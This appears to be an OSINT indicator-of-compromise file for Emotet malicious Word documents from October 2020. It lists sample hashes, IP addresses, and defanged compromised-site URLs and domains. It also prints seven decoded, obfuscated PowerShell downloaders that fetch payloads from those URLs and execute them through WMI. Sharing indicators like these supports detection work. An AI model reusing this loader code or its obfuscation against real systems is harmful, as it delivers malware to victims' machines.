Emotet_Doc_out_2020-10-22_13_55.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
0d4957ad656edeaef3f49b20de1845bcafd5e78981c607cff352212e84ae913e
0ec17aa1ce44390bdfd71ce3cc0317d8f28c1ba0f4d12854fb0ed781fd142875
890535144da2084ee8e9431e6521be9719100cc5bec7679a4d7bdce3763a692c
ee0a2fe5c7b689bc059cf0849b40346779fa307da94bee18344cb200aa5f0315
b730b36a22a6d6da4bf394e59e3bdb0a0bc32a3adc8fea6f568a58b926a7fdc4
8537810517cd5dd09f54c8b9b8ae8800be7178a6bd57e6b35effba2f254dc891
a6eea83d7fab009cc5bf69ff232eec13d0b06e8db76df67d40843391f0f6579c
53a72171110a18e1b7b4302fbff1f54163c7e209cd54719f1956d4fc1324559d
1cbfe4acb45540cc1c03e93696d3c85a5ce3162e105d69cbc2c24f6b468fba90
989719e9eda598697218c5d6b4d30e5a223cb1ac7f1f2655752f45c138656858
924bb2a35b1428b72f47162fd8ed46a271a59c8bc1a34de9ac3bb4dcc7102eee
7c72a2b38416a8d0149f3d8e36d0bb7e6ee3fa3292230d3ccdf36ef0e530fea3
0bfd0f8ada9d40a9b2a5b4488cdc5e9f65ee5eb9392124b281f422ef33a911af
c54cc066f4ec58fa457a0f6134fb83321e303ee18aa2e2f9e0e46187e2fb3a95
95c62759d32e2a426433130be7fc1c17a3d3787359258f3af33f61760463eeee
43bb166a848af96dd6944ca6c4c98a6bd872ec7e00fd4f4f271410401264e7c7
0b25fca35bd60d2257616a1c1adbf89fefba07969c5a0fc3aa22d3f43ad7c2f4
4876b24f79e4db4a3df03efb480f32506ce94c7c60c1410d47b6722a66765552
29747a11e9ffbd0668f9b880137f1051a27677c4f3bf0a17ead5299fb5857946
1866b19498cdc839b6b01746deccdbd4fb5ee2689ea7b5dd49d2af60d6b4d620
fe6f81016020f3eec5b5568f60ee0c8468c2fe814af9eaaf8976b3df45d83e91
916610eecd9e0faf3813f4af060d636722a3a3d148e16373514ba8ef022ac631
fe681aba1adcf7e82fd0daedeb3af000c89d34693b1dd0022c273e936ed660cd
26675160f52f90a778a8e6489be6b67a6982742a192595c69b9d87e49e11cbf9
97874f4b3e24d8afd368e2ddb1cc3618f8db1fd34e838412059a5f6e28a2e3ce
884d55db64ae38575a793fcfaf4f07a6b4f67a7ee84374571189cc4bdb485608
638d64989d1dd97fb0243d59735dcc9441f106f3eaa6288d3c6e18a2b11aaef7
bfcf012480833949d47a52c43762fccfd26a1785b134d1da9a84a2f91bca0778
404ff52d3a85958573d36e56b44af5b7295d23371bf02112ab3f7e93932cf97b
c343246a8b6df26e48dedc87a71762563be3e241ea28994ad1e2d0700b823f8d
5216126689ce29d0ead65c0774e9b395ade4b5c2ce71e69d464f3a603a22bdb4
e22adb293242bbe12e653ae5f927e75dccbeffda728053fc11b830c8197aa330
75c8ade3a5fe3b9731e5581729dd4a6d9c459624b08730109c7be0b42a7bc424
8b05297c048f55387edd8b05e69d2a1240c7906afaebaf370edb5b8124f57043
2541429bf45855875d8361e68456e8a3b1786c9ff7660582ecc6f38e1ec9d454
34b4f674b3fb2522db0c058e836245655b4588f4bd0b35b5c2bbfcc3bc75916d
da03a9b55b6989c3afc8a859785e254418322eb601e9fcf2ce58da55d9bc7d0b
f9129c9f5ad280b2fc327f6b8399d107ae082284f42b7fa1e6939a39c52ee243
88c17e3958ba72f9ac157dd3dfc4f9c3a5957d675083f638fa5ffddd89c4e539
f7662b65b34b917149a36506e326940301521658b741cbd57ff19e8d396d1b22
79eac1acb26ebc7de50c343fc40ea055096be22d66ee6769c4180cff5a20468f
2d347f470cd335987e917985af28d335e545899401c63f03a6cbdf484b4cdd46
781bb9f0ec4dde08bb1805251084a7fdef63badcde583c687cecc6c1188d6881
876c1a831d8a6b53e250c5dd53b13a9089c83b671a3c26d5162051ad1318aa82
0cf6b6d2c70f90c73c8af70fddcaf553d0b296661f49c2958c7464ed3294676f
762eef538d0c4d105cc6ed8ab380f60021363b0a9569aefd66752a02939244e1
762eef538d0c4d105cc6ed8ab380f60021363b0a9569aefd66752a02939244e1
ab28cd70227b6278a12e9ccf93a9969e4c35cc7b049ec8f0f6da797a4ab7aad8
ab28cd70227b6278a12e9ccf93a9969e4c35cc7b049ec8f0f6da797a4ab7aad8
e611734004857badf3ba63f84f76604db2dc2394cb1e5a74d83442e580b6d1fc
e611734004857badf3ba63f84f76604db2dc2394cb1e5a74d83442e580b6d1fc
ed5ed9c256dc24f5aeffc1b9b0e7dba316c5c13a1966b7243770318805567ec9
ed5ed9c256dc24f5aeffc1b9b0e7dba316c5c13a1966b7243770318805567ec9
e01b2dd423d602c30905f88e9c829c72498492b0ebc8c6625f81b78ad77dcaa6
0da81935024d0599fd8d9347b3b1cd7d1c3224a851735ee92224a3f2cfe007dd
0da81935024d0599fd8d9347b3b1cd7d1c3224a851735ee92224a3f2cfe007dd
2ff6d19afb85204f40ae48717a474273df3f77aaf11084e5162b1e8c057e34fd
ff463811a1b2d27096836980e07b6cc1e0d339a5ff6a07d9edfe141eb4a4de04
78b7a7567ca7972ecca43e1ebe4a1aa7afb99ebae5d40ca9b6720c26118f713d
0962178a6edd34473ee5ac0f0dcd4ebd1ab30286664db2bbe2782ddbc4f7477d
0962178a6edd34473ee5ac0f0dcd4ebd1ab30286664db2bbe2782ddbc4f7477d
2ffe544b9a9857e4b910eff4ebf6183e41f7bc8996a68c68f49c4c576745d561
2ffe544b9a9857e4b910eff4ebf6183e41f7bc8996a68c68f49c4c576745d561
cde7e6bf17321c078405537ce1fd9b5eafae22b397b12642e853cb12b3ad0f69
be96a344b2fb3d43c0a4871f97a13c41633df469861f7cfbe9dfa3cc6ebe020b
907f854fc6521eb1d37065fd3e9fa203e1370cd9d176f1fbbaa961139c9f19a0
907f854fc6521eb1d37065fd3e9fa203e1370cd9d176f1fbbaa961139c9f19a0
28aecaaed6def34a0f480dc2a61d20cf12720db808b320fb1e886a86f08686c0
4f927bd188b87a47398f9e9fe9bc9d4ba4d56d813e1c3183c1b5818a82696076
4f927bd188b87a47398f9e9fe9bc9d4ba4d56d813e1c3183c1b5818a82696076
83b682e06434c0cf207ed5f4a8784fd5ddd5cf8c6ffbf3cd2e29b65af9f1c642
83b682e06434c0cf207ed5f4a8784fd5ddd5cf8c6ffbf3cd2e29b65af9f1c642
bfc9797acaa5c291ca5ae325f7e30c17943114bf6fd2c485cf4a2c5df7eb68d1
0699c1bda793c7aaa9fc01940fe91bbe470ff01abfcbb32ab93d7a6a329e0d13
0699c1bda793c7aaa9fc01940fe91bbe470ff01abfcbb32ab93d7a6a329e0d13
756a41dbd5912d4c871d486b25958f188c2a32279f2b735e7ea9fb816fa13da8
756a41dbd5912d4c871d486b25958f188c2a32279f2b735e7ea9fb816fa13da8
f3bdfdeda759d384ba2dfe4792bab80ad4aa7354badad324c69e0f4c095cdef2
f3bdfdeda759d384ba2dfe4792bab80ad4aa7354badad324c69e0f4c095cdef2
2f5f1ec816813289a5f7b31b1054613917d826c0e0869a4cd1998055467b1f76
d7d4f0e3118be6b096fce94e099d314a78ff45b33b0c6db9993b71d66b171e6c
8b92f8e7b69533e9a25724f3ed4647b004cc55014bbbc598c8ef4abc0556c425
8b92f8e7b69533e9a25724f3ed4647b004cc55014bbbc598c8ef4abc0556c425
d26b340db68be6d1b7203ca454065ac2aae52968723b4005ce6dffa5ba98072f
d26b340db68be6d1b7203ca454065ac2aae52968723b4005ce6dffa5ba98072f
20ae475c458a9525a8fbf4ad077b47cf12bbcc7d4401a0fa2d8cb2c0340abfac
20ae475c458a9525a8fbf4ad077b47cf12bbcc7d4401a0fa2d8cb2c0340abfac
10fffc6d57e68b2224f5a7b35a28ed5e146334dff8d0f35d900451150058bb45
fc523dab17f69be0ab6b14d0c02e81b083dd380e76e40267fbd6b1a56128c6cc
72da9c13652853256f7cab8762f533e63f52328ba4b06d4bf44d3dc0cd5fe2c5
ae5fd4f313c63cac1758aefc2cbb06763c919f1512219cf961e541e4501d4326
6916f815ae3094ba0e9c9f0464bbd05f8619ce4da774387e7b7df3e1d82330c5
ecfc89ef969dc50f07649db191efefa79a87ef3a766b56d53c5462c6abc2bf1c
2d750c754eeb0df583b0daf91ea2a674ecf074b4a8ae2a814169f7064f197621
564f151e5ddc2909b23edbed474901a243c7816edd15e503feb704d925cf110f
90f529f52f0ee836368406a46c2ac923489d2df8b201b0d2a71878c65e23657c


IPs:
102.130.123.81
103.8.25.63
103.96.75.29
104.18.48.6
104.18.49.6
104.18.58.178
104.18.59.178
104.24.124.215
104.254.244.128
104.31.90.56
104.31.91.56
106.53.251.200
107.180.51.81
111.90.135.17
112.213.89.26
119.235.30.160
119.29.179.243
132.148.165.85
13.232.208.14
136.243.93.91
139.99.9.198
148.72.3.169
15.206.78.201
160.153.249.218
163.44.198.61
172.104.22.215
172.67.140.204
172.67.167.106
172.67.179.15
172.67.222.143
181.88.192.21
182.50.132.45
182.50.151.49
185.179.143.59
187.1.136.117
191.6.200.86
198.12.208.234
199.192.21.176
202.92.4.232
208.72.64.135
209.141.38.86
212.34.158.133
212.53.87.90
213.190.6.120
213.232.124.156
216.218.207.98
31.220.104.7
35.214.159.46
35.214.215.33
40.119.6.228
44.239.45.225
45.252.248.20
64.91.227.108
69.65.3.162
85.236.155.233
94.130.141.30



URLs:
hxxps://farzadkiasat.com/wp-admin/Eb/
hxxp://hunmao.net/wp-includes/C/
hxxps://www.tallyandfin.com/cgi-bin/P/
hxxps://gosvish.com/wp-admin/B/
hxxps://searchhomeusa.com/wp-content/o/
hxxp://h5yx.vishou.net/css/i/
hxxp://oleegoli.com/indexing/xS/
hxxp://murari.es/wp-content/h/
hxxps://hrinternationalbd.com/selectar/h/
hxxp://thestudio-ct.co.uk/events/P3/
hxxp://kailaasa.ca/wp-admin/zeJssVj/
hxxps://khudanculongdien.vn/wp-admin/HB/
hxxp://admvero.com.br/eleicao/EJcX/
hxxp://coolfit.in/wp-content/ivi/
hxxp://equipamentosmix.com/10/Bjky/
hxxps://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/
hxxps://ticket1st.com/wp-includes/98Zkfi/
hxxps://www.eyebrowandme.com/cgi-bin/3NN/
hxxp://newsfocus123.com/96kaifa/cc1/
hxxps://dev.muzigal.com/cron/Mdn/
hxxp://www.dehateet.com/wp-admin/Gqg0Ma/
hxxp://keithdougherty.com/wp-includes/Yen85/
hxxp://nurseprizes.com/wp-includes/hS/
hxxp://eubanks7.com/administrator/ubdDbB/
hxxps://erkala.com/wp-admin/mi5m/
hxxp://lidoraggiodisole.it/cgi-bin/zLG879/
hxxp://nickjehlen.com/oldsite/nZSNQ/
hxxp://www.riminvest.vn/install/Zxh/
hxxp://www.1ca.co.za/1cAdmin/b/
hxxp://paulscomputing.com/CraigsMagicSquare/f/
hxxp://wikibricolage.com/wp-admin/XiZrby/
hxxp://www.sangamapparel.com/wp-content_old/whE/
hxxp://techarpit.xyz/wp-content/GM/
hxxps://sarfco.com/wp-content/6YE/
hxxps://best-browser.top/wp-includes/lL/
hxxps://alternatul.com/wp-includes/4rS/
hxxps://rapicampi.com/wp-content/ib/
hxxps://initiativepropertiesltd.com/home/S7s/
hxxp://michaelandrewsbakery.com/wp-admin/M/
hxxp://forsalebyowner247.com/wp-includes/8m/
hxxp://webgisjambi.com/wp-content/uploads/V5a/
hxxps://tigerstormtraffic.com/wp-includes/h23/
hxxps://optimisticdeals.com/wp-content/S/
hxxp://twogirlscleaning.com/openbayl/KaI/
hxxp://online2u.biz/ogretmenevi/4Yj/
hxxp://swiftlogisticseg.com/wp-admin/jiX/
hxxp://www.paikapua.com/a0brac3/Y/
hxxp://gordon-and-son.com/wp-includes/n/
hxxps://emmanuelmonastery.org/wp-admin/d/
hxxps://www.afriwaste.app/wordpress/N7L/
hxxp://da-industrial.com/js/A4/
hxxps://onepalate.biz/wp-content_bak/Bc/


Domains:
farzadkiasat.com
hunmao.net
www.tallyandfin.com
gosvish.com
searchhomeusa.com
h5yx.vishou.net
oleegoli.com
murari.es
hrinternationalbd.com
thestudio-ct.co.uk
kailaasa.ca
khudanculongdien.vn
admvero.com.br
coolfit.in
equipamentosmix.com
www.aspensnowmasswebcam.com
ticket1st.com
www.eyebrowandme.com
newsfocus123.com
dev.muzigal.com
www.dehateet.com
keithdougherty.com
nurseprizes.com
eubanks7.com
erkala.com
lidoraggiodisole.it
nickjehlen.com
www.riminvest.vn
www.1ca.co.za
paulscomputing.com
wikibricolage.com
www.sangamapparel.com
techarpit.xyz
sarfco.com
best-browser.top
alternatul.com
rapicampi.com
initiativepropertiesltd.com
michaelandrewsbakery.com
forsalebyowner247.com
webgisjambi.com
tigerstormtraffic.com
optimisticdeals.com
twogirlscleaning.com
online2u.biz
swiftlogisticseg.com
www.paikapua.com
gordon-and-son.com
emmanuelmonastery.org
www.afriwaste.app
da-industrial.com
onepalate.biz


Decoded Base64 Powershell:
<���^,sET  9tI   [TYPE]"{5}{0}{2}{4}{1}{3}" -F eM.IO.D,Ct,iR,OrY,E,SysT  ;
 sET-ITEM  VARIAbLe:V2xnS   [TyPe]"{4}{0}{5}{1}{7}{6}{3}{2}"-FneT,R,AnAGer,epOInTm,sYsTEM.,.SE,IC,V ;
$Fz6ud55=Shjuntt;
$Rs2dupx=$Um9rtax  [char]64  $Cp3lmc3;
$Yi67ude=T77gu_a;
 $9ti::"c`RE`AteDi`RE`ctORy"$HOME  IpeGvewo5tIpeS3t8dauIpe-CRePLAce  Ipe,[cHaR]92;
$Gke3cc0=A6qzbt8;
   vaRiAble  V2xNs .vALUe::"SEcu`Ri`TY`pr`oTO`Col" = Tls12;
$Lvweyyz=Fs1yerq;
$Qpugcyw = Kvcc9_;
$Wkx51xq=F0i2_n7;
$Pwquvnk=Oomkrr5;
$Dzc8bew=$HOME5JKGvewo5t5JKS3t8dau5JK -CreplACe5JK,[cHaR]92$Qpugcyw.exe;
$L_26a50=Ues182r;
$Dusjkq2=.new-object Net.WEbCLient;
$Mm5flyg=hxxps://farzadkiasat.com/wp-admin/Eb/
hxxp://hunmao.net/wp-includes/C/
hxxps://www.tallyandfin.com/cgi-bin/P/
hxxps://gosvish.com/wp-admin/B/
hxxps://searchhomeusa.com/wp-content/o/
hxxp://h5yx.vishou.net/css/i/
hxxp://oleegoli.com/indexing/xS/."replA`CE"/,/."Sp`lIt"$Nbrrsq_  $Rs2dupx  $Zujllf8;
$Dsk_xbt=Qp3r6vh;
foreach $E51zg8l in $Mm5flyg{try{$Dusjkq2."DOWnl`OAd`FilE"$E51zg8l, $Dzc8bew;
$Yv3q_ni=Ah7ruy1;
If &Get-Item $Dzc8bew."l`EnGTh" -ge 42431 {[wmiclass]win32_Process."cR`eatE"$Dzc8bew;
$Svoqres=S6dztyo;
break;
$Ln2oq33=H_pfbi0}}catch{}}$Djea5or=H9ksflr<���^,  SEt-vArIAbLe "4PG""3r2"  [tyPe]"{5}{6}{4}{3}{0}{2}{1}"-f eCtO,Y,R,iR,D,SYSTEM.,iO.   ;
 Set  zwiv [TYPe]"{8}{7}{1}{2}{0}{3}{5}{4}{6}"-feRV,.,net.S,IcEp,M,oiNt,ANaGer,YstEm,s;
  $Ix301ec=Qgwm4bf;
$E6ijdyh=$N3eukxx  [char]64  $Iz6i11p;
$Gl0q8i5=Pzefw5d;
   gci VARiAblE:4pg3R2.valuE::"cReA`Ted`IrEC`TO`RY"$HOME  KjxDy83lifKjxRn6ielvKjx."Re`pL`AcE"[cHar]75[cHar]106[cHar]120,\;
$Goznhbx=Axxbk5t;
   GI  vaRiAbLe:ZwIv .VAlUe::"secU`RITy`PRO`TOcoL" = Tls12;
$T2crdzv=Yd9wtrt;
$D2ljihp = Phalbcyh;
$Hqjv414=Eo62wuu;
$Jpedaft=Dqd5h81;
$Uvz5gal=$HOMEa8VDy83lifa8VRn6ielva8V."r`ePlaCE"a8V,[sTriNg][cHar]92$D2ljihp.exe;
$W45jl1f=Dpndy3_;
$V4mzmab=.new-object net.WebcLienT;
$X_v_0qv=hxxp://murari.es/wp-content/h/
hxxps://hrinternationalbd.com/selectar/h/
hxxp://thestudio-ct.co.uk/events/P3/
hxxp://kailaasa.ca/wp-admin/zeJssVj/
hxxps://khudanculongdien.vn/wp-admin/HB/
hxxp://admvero.com.br/eleicao/EJcX/
hxxp://coolfit.in/wp-content/ivi/
hxxp://equipamentosmix.com/10/Bjky/."Re`pL`Ace"/,/."S`PLiT"$Msyxudy  $E6ijdyh  $Xfqnw__;
$R3641ks=H10v3pq;
foreach $D1veqky in $X_v_0qv{try{$V4mzmab."DO`wNLOa`Df`iLe"$D1veqky, $Uvz5gal;
$Lqmzjcu=Ezmfj33;
If &Get-Item $Uvz5gal."lEN`G`TH" -ge 33552 {[wmiclass]win32_Process."crE`ATE"$Uvz5gal;
$Cp88h8g=Zm5fcnr;
break;
$B8gxkaw=Cxb0nps}}catch{}}$Ufyatri=Ezk12wd<���^,  sEt  "9xR1""A"    [tYpe]"{2}{1}{5}{0}{4}{3}" -f iO.d,Tem,Sys,RECToRY,i,.   ;
  $f2ycP=  [TYpE]"{1}{3}{2}{4}{0}{5}" -F Tma,SYs,E,tEm.nEt.sErVIc,poiN,nAGeR ;
$Vbb_jip=Zpfjk_p;
$Zo2k38m=$Ex8jfpn  [char]64  $Vvsdyyb;
$Agr26nx=Pn2sdqb;
  gI  variaBLe:9Xr1a.VAluE::"cREAted`ire`CTo`Ry"$HOME  {0}R_cz8iz{0}O26o3lo{0}  -f  [char]92;
$I2ifofp=Rfgz2lb;
   gEt-cHIlDItEm vaRiABLE:F2YCp .vaLue::"Secu`R`ITYprOT`OC`oL" = Tls12;
$Jridszj=Asy3z64;
$Astuihe = O848p8k;
$Tcc1g0y=Ipfwh9d;
$Nqf8rx1=J4f6tf8;
$Faifxbj=$HOMEvSTR_cz8izvSTO26o3lovST-CRePlaCE  vST,[cHAr]92$Astuihe.exe;
$Fnnqxtw=Vnrj1hg;
$B_ik1fo=&new-object net.WeBclieNT;
$J5978l7=hxxps://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/
hxxps://ticket1st.com/wp-includes/98Zkfi/
hxxps://www.eyebrowandme.com/cgi-bin/3NN/
hxxp://newsfocus123.com/96kaifa/cc1/
hxxps://dev.muzigal.com/cron/Mdn/
hxxp://www.dehateet.com/wp-admin/Gqg0Ma/
hxxp://keithdougherty.com/wp-includes/Yen85/
hxxp://nurseprizes.com/wp-includes/hS/."rE`pLA`ce"/,/."S`PLiT"$Vgo02no  $Zo2k38m  $Iino553;
$Nyo6vy_=Vdddgqe;
foreach $U9lgsfl in $J5978l7{try{$B_ik1fo."DoW`N`lOaDFILE"$U9lgsfl, $Faifxbj;
$Qtbn291=Zjdogii;
If &Get-Item $Faifxbj."lenG`Th" -ge 49688 {[wmiclass]win32_Process."Cr`eA`Te"$Faifxbj;
$H3b5lbf=Leykk97;
break;
$F3k4ppv=O7muw3w}}catch{}}$Cs7zcml=Wgl4cvy<���^, SeT-ITEM Variable:VhD295    [Type]"{2}{4}{1}{3}{0}" -f.dIrECtoRY,TEm.,SY,iO,s;
   $tw9=[type]"{3}{5}{6}{1}{7}{0}{8}{2}{4}"-f Mana,VIcepoi,e,SyS,R,Tem.neT.S,er,nt,g  ;
 $I0re23e=Xgsd_0r;
$Y380o1f=$Iqp5uea  [char]64  $Dxd8ovx;
$H4xqibj=Ailtv8n;
 $VHd295::"CrE`AtedIRe`ctory"$HOME  sacJehhzdasacBen14frsac."rE`PLACE"sac,\;
$Q5om2xu=Yyaeziv;
  CHilDITem VariaBlE:TW9 .vALue::"sEcUr`itypr`oToc`OL" = Tls12;
$Nz5glbl=E45m5si;
$Grq403l = G_jugk;
$Qjpsvaf=Ux0_8dg;
$Ptdg95h=Lp5710a;
$Sgwq779=$HOMEF5BJehhzdaF5BBen14frF5B."RePl`ACe"[ChAr]70[ChAr]53[ChAr]66,[strinG][ChAr]92$Grq403l.exe;
$Gwg98u1=A7bz6sm;
$Sll8oku=.new-object nEt.WebCLIEnt;
$G_awhi9=hxxp://eubanks7.com/administrator/ubdDbB/
hxxps://erkala.com/wp-admin/mi5m/
hxxp://lidoraggiodisole.it/cgi-bin/zLG879/
hxxp://nickjehlen.com/oldsite/nZSNQ/
hxxp://www.riminvest.vn/install/Zxh/
hxxp://www.1ca.co.za/1cAdmin/b/
hxxp://paulscomputing.com/CraigsMagicSquare/f/
hxxp://wikibricolage.com/wp-admin/XiZrby/."R`EPLA`cE"/,/."SPl`It"$Bhybdef  $Y380o1f  $A_bfhkh;
$Q52l9j7=U5fb3tv;
foreach $Wxynj19 in $G_awhi9{try{$Sll8oku."d`oWnLoADf`ile"$Wxynj19, $Sgwq779;
$C14tl_b=Lm89svd;
If .Get-Item $Sgwq779."lE`NG`Th" -ge 44686 {[wmiclass]win32_Process."c`R`eaTE"$Sgwq779;
$Gca3bf5=Pjk0ect;
break;
$Cbrsysx=P6wm9uh}}catch{}}$Kmtqugc=Zhz13gm<���^, seT-ItEM  "vAR""I""ABLe:""DAVFp"  [Type]"{2}{1}{0}{5}{3}{4}"-F o.di,.I,sYsTem,Or,Y,reCt    ;
 SEt-IteM  VArIaBLE:EIwJ   [TYPe]"{4}{2}{0}{3}{1}"-FER,r,em.neT.s,VicePoINtmAnAge,SyST ;
  $Jzevic6=Bi2d7hh;
$Fvdapsb=$E04ctqv  [char]64  $Xy36noy;
$Lmx1oru=Imzkfs5;
 ChILditEM "vAR""I""AblE:""daVfp" .VALUE::"cR`eAtEdI`REctO`Ry"$HOME  AtITgw2t8vAtITiqo6heAtI."RE`pLACe"AtI,\;
$A5h8ocj=Cbyuka8;
   gI vARIable:EIWJ.VALuE::"s`eCur`iTYPr`oTOCOL" = Tls12;
$P3yuvri=Ke2g3k0;
$Dh1ujeh = Vh5th3v;
$Czwn4_o=La1o6j_;
$Psrklcf=Cj1dgnr;
$B620y_h=$HOME{0}Tgw2t8v{0}Tiqo6he{0}  -F[chaR]92$Dh1ujeh.exe;
$Ejr7678=Tp13vuv;
$Jmcywj6=&new-object NeT.WebcLIEnT;
$S_5uvv3=hxxp://www.sangamapparel.com/wp-content_old/whE/
hxxp://techarpit.xyz/wp-content/GM/
hxxps://sarfco.com/wp-content/6YE/
hxxps://best-browser.top/wp-includes/lL/
hxxps://alternatul.com/wp-includes/4rS/
hxxps://rapicampi.com/wp-content/ib/
hxxps://initiativepropertiesltd.com/home/S7s/."rep`lA`CE"/,/."SPl`IT"$Fj0zkld  $Fvdapsb  $O4kujkf;
$N7iv3ez=Pbu7mnj;
foreach $Xv3dcwv in $S_5uvv3{try{$Jmcywj6."dowNlOa`dfI`LE"$Xv3dcwv, $B620y_h;
$Rf78p3u=Ermcvmg;
If &Get-Item $B620y_h."L`eNGth" -ge 38841 {[wmiclass]win32_Process."CR`eAtE"$B620y_h;
$Qjzm_4d=Fdi2hyg;
break;
$U7dpiy2=Jol3xej}}catch{}}$Cv1evgz=Ungyld0<���^,$54z39m=  [tYpE]"{3}{0}{2}{1}"-fem.io.DirE,OrY,cT,SYst;
 $W1Nm9 =  [TYPe]"{0}{4}{1}{5}{2}{3}{6}" -f SY,ERVic,i,nTmA,sTeM.nEt.s,epO,NaGer ;
  $Juir8kh=Mr1yh3y;
$J7dk79j=$F8x929j  [char]64  $Xfjq2ir;
$Hm9lz48=Tf31qtb;
   geT-vaRIabLe  "54""Z39M".vALUe::"CR`e`ATE`D`IRECtoRY"$HOME  r7iW0qjhfhr7iC2q5mmwr7i-rEPLAcE [CHAr]114[CHAr]55[CHAr]105,[CHAr]92;
$Bnwq1za=Hau2a3t;
 $W1nm9::"seCUR`itYp`RoTOc`oL" = Tls12;
$Z1o65mo=Zbgvfu3;
$Ar1s7gg = C9noxbk;
$Isbzjfv=Pt12egt;
$Zhqzspk=Ggydofx;
$Nulcukb=$HOME8WBW0qjhfh8WBC2q5mmw8WB -rEPLACE 8WB,[CHAr]92$Ar1s7gg.exe;
$L4tml1g=Lg_x5bj;
$Ctm05si=.new-object NET.weBcliENT;
$Nglrlb6=hxxp://michaelandrewsbakery.com/wp-admin/M/
hxxp://forsalebyowner247.com/wp-includes/8m/
hxxp://webgisjambi.com/wp-content/uploads/V5a/
hxxps://tigerstormtraffic.com/wp-includes/h23/
hxxps://optimisticdeals.com/wp-content/S/
hxxp://twogirlscleaning.com/openbayl/KaI/
hxxp://online2u.biz/ogretmenevi/4Yj/."rep`lACE"/,/."spl`It"$Kxpqwvd  $J7dk79j  $Fkpcssw;
$X3kmyhp=Avjmqy8;
foreach $Ytawvky in $Nglrlb6{try{$Ctm05si."doWN`LO`ADfiLE"$Ytawvky, $Nulcukb;
$X2z31gm=Swdakdn;
If &Get-Item $Nulcukb."lE`NgTh" -ge 48754 {[wmiclass]win32_Process."cREa`Te"$Nulcukb;
$N2c28jh=Epam2rv;
break;
$Ff35631=Lwbdo09}}catch{}}$I3996ra=Mtt3mt_<���^,Sv  7mwJiP  [tyPe]"{4}{0}{2}{3}{1}" -f em.IO.Dir,y,ecto,r,SYST    ;
 $3onF  = [TYPe]"{0}{9}{2}{4}{5}{1}{8}{3}{6}{7}" -fsy,seRVi,Tem,o,.nE,t.,intmaNa,gER,cEp,S  ;
$E79_tpu=Txdjlur;
$Xow_b_n=$M5ytqq3  [char]64  $Wov_jgs;
$M95gcos=Vwqkh70;
  Get-vArIAbLe 7MwjiP -VALueo::"CrE`ATeD`IR`Ec`TORY"$HOME  xFSAobg8kfxFSO2ug848xFS."rE`p`LAce"[chAr]120[chAr]70[chAr]83,\;
$Gqzdeoj=C3ef6ug;
  $3onF::"sE`CURI`TypR`OT`ocol" = Tls12;
$D04o1lc=Icz5as0;
$C65z8rw = Ku15so_dz;
$Blkn3jq=Didvl0o;
$Tb1pzw4=Sk5mc1_;
$Gdaay9t=$HOME{0}Aobg8kf{0}O2ug848{0}  -f  [CHAr]92$C65z8rw.exe;
$Svi340l=Ken186j;
$Fuzkj9l=&new-object nEt.WeBCLIeNt;
$Fdjya2s=hxxp://swiftlogisticseg.com/wp-admin/jiX/
hxxp://www.paikapua.com/a0brac3/Y/
hxxp://gordon-and-son.com/wp-includes/n/
hxxps://emmanuelmonastery.org/wp-admin/d/
hxxps://www.afriwaste.app/wordpress/N7L/
hxxp://da-industrial.com/js/A4/
hxxps://onepalate.biz/wp-content_bak/Bc/."r`ep`lACe"/,/."Spl`It"$L7x9nkp  $Xow_b_n  $Mgxrqd5;
$Go712w4=Tlbvjdi;
foreach $D3unahu in $Fdjya2s{try{$Fuzkj9l."doWN`lO`AD`FIlE"$D3unahu, $Gdaay9t;
$Ac8gdbl=E3kxm5_;
If .Get-Item $Gdaay9t."LE`Ngth" -ge 35641 {[wmiclass]win32_Process."c`Re`ATe"$Gdaay9t;
$Yqs0ua5=Vhci6io;
break;
$Trnhymh=Lu_mfr8}}catch{}}$Tklx28r=Bdj6igl